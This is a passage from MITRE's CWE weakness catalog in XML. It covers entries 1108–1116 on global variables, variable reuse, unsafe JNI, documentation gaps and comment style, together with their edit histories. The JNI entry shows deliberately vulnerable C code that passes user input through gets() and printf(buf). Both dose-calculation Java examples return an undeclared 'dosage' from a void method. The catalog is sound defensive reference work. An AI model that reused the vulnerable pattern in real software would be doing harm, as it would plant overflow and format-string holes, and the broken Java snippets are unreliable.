               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1108" Name="Excessive Reliance on Global Variables" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code is structured in a way that relies too much on using
					or setting global variables throughout various points in the code, instead of
					preserving the associated information in a narrower, more local
					context.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1109" Name="Use of Same Variable for Multiple Purposes" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a callable, block, or other code element in
					which the same variable is used to control more than one unique task or store
					more than one instance of data.</Description>
         <Extended_Description><xhtml:p>Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.</xhtml:p>
<xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="111" Name="Direct Use of Unsafe JNI" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.</Description>
         <Extended_Description>Many safety features that programmers may take for granted do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement error handling around the JNI call.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Do not use JNI calls if you don't trust the native library.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Be reluctant to use JNI calls. A Java API equivalent may exist.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>class Echo {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public native void runEcho();<xhtml:br/>static {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>System.loadLibrary("echo");</xhtml:div>
                           </xhtml:div>}<xhtml:br/>public static void main(String[] args) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>new Echo().runEcho();</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;jni.h&gt;<xhtml:br/>#include "Echo.h"//the java class above compiled with javah<xhtml:br/>#include &lt;stdio.h&gt;<xhtml:br/>
                     <xhtml:br/>JNIEXPORT void JNICALL<xhtml:br/>Java_Echo_runEcho(JNIEnv *env, jobject obj)<xhtml:br/>{<xhtml:div style="margin-left:1em;">char buf[64];<xhtml:br/>gets(buf);<xhtml:br/>printf(buf);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.</Body_Text>
               <Body_Text>The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.</Body_Text>
               <Body_Text>The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Unsafe JNI</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC08-J</Entry_ID>
               <Entry_Name>Define wrappers around native methods</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>JNI01-J</Entry_ID>
               <Entry_Name>Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance (loadLibrary)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>JNI00-J</Entry_ID>
               <Entry_Name>Define wrappers around native methods</Entry_Name>
			   <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-41"/>
            <Reference External_Reference_ID="REF-42"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Potential_Mitigations, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unsafe JNI</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1110" Name="Incomplete Design Documentation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's design documentation does not adequately describe
					control flow, data flow, system initialization, relationships between tasks,
					components, rationales, or other important aspects of the
					design.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1059" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1111" Name="Incomplete I/O Documentation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's documentation does not adequately define inputs,
					outputs, or system/software interfaces.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1059" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1112" Name="Incomplete Documentation of Program Execution" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The document does not fully define all mechanisms that are used
					to control or influence how product-specific programs are
					executed.</Description>
         <Extended_Description><xhtml:p>This includes environmental variables, configuration files, registry keys, command-line switches or options, or system settings.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1059" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1113" Name="Inappropriate Comment Style" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code uses comment styles or formats that are
					inconsistent or do not follow expected standards for the
					product.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1114" Name="Inappropriate Whitespace Style" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code contains whitespace that is inconsistent across
					the code or does not follow expected standards for the
					product.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1115" Name="Source Code Element without Standard Prologue" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code contains elements such as source files 
					that do not consistently provide a prologue or header that has been
					standardized for the project.</Description>
         <Extended_Description><xhtml:p>The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.</xhtml:p>
<xhtml:p>This issue makes it more difficult to maintain the product due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1116" Name="Inaccurate Comments" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code contains comments that do not accurately
					describe or explain aspects of the portion of the code with which the comment is
					associated.</Description>
         <Extended_Description><xhtml:p>When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.</xhtml:p>
<xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Verify that each comment accurately reflects what is intended to happen during execution of the code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the code performs a calculation to determine how much medicine to administer. A comment is provided to give insight into what the calculation shoud be doing. Unfortunately the comment does not match the actual code and thus leaves the reader to wonder which is correct.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                 public class Main {<xhtml:br/>
                 <xhtml:div style="margin-left:1em;">
		   public static void main(String[] args) {
                   <xhtml:div style="margin-left:1em;">
		     int pt_weight = 83;<xhtml:br/>
		     int mg_per_kg = 3;<xhtml:br/>
		     int daily_dose = 0;<xhtml:br/>
		     <xhtml:br/>
		     // Add the patient weight and Mg/Kg to calculate the correct daily dose<xhtml:br/>
		     daily_dose = pt_weight * mg_per_kg;<xhtml:br/>
                     return dosage;
		   </xhtml:div>
                   }
		 </xhtml:div>
                 }
               </Example_Code>
               <Body_Text>In the correction below, the code functionality has been verified, and the comment has been corrected to reflect the proper calculation.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                 public class Main {<xhtml:br/>
                 <xhtml:div style="margin-left:1em;">
		   public static void main(String[] args) {
                   <xhtml:div style="margin-left:1em;">
		     int pt_weight = 83;<xhtml:br/>
		     int mg_per_kg = 3;<xhtml:br/>
		     int daily_dose = 0;<xhtml:br/>
		     <xhtml:br/>
		     // Multiply the patient weight and Mg/Kg to calculate the correct daily dose<xhtml:br/>
		     daily_dose = pt_weight * mg_per_kg;<xhtml:br/>
                     return dosage;
		   </xhtml:div>
                   }
		 </xhtml:div>
                 }
               </Example_Code>
               <Body_Text>Note that in real-world code, these values should be validated to disallow negative numbers, prevent integer overflow, etc.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
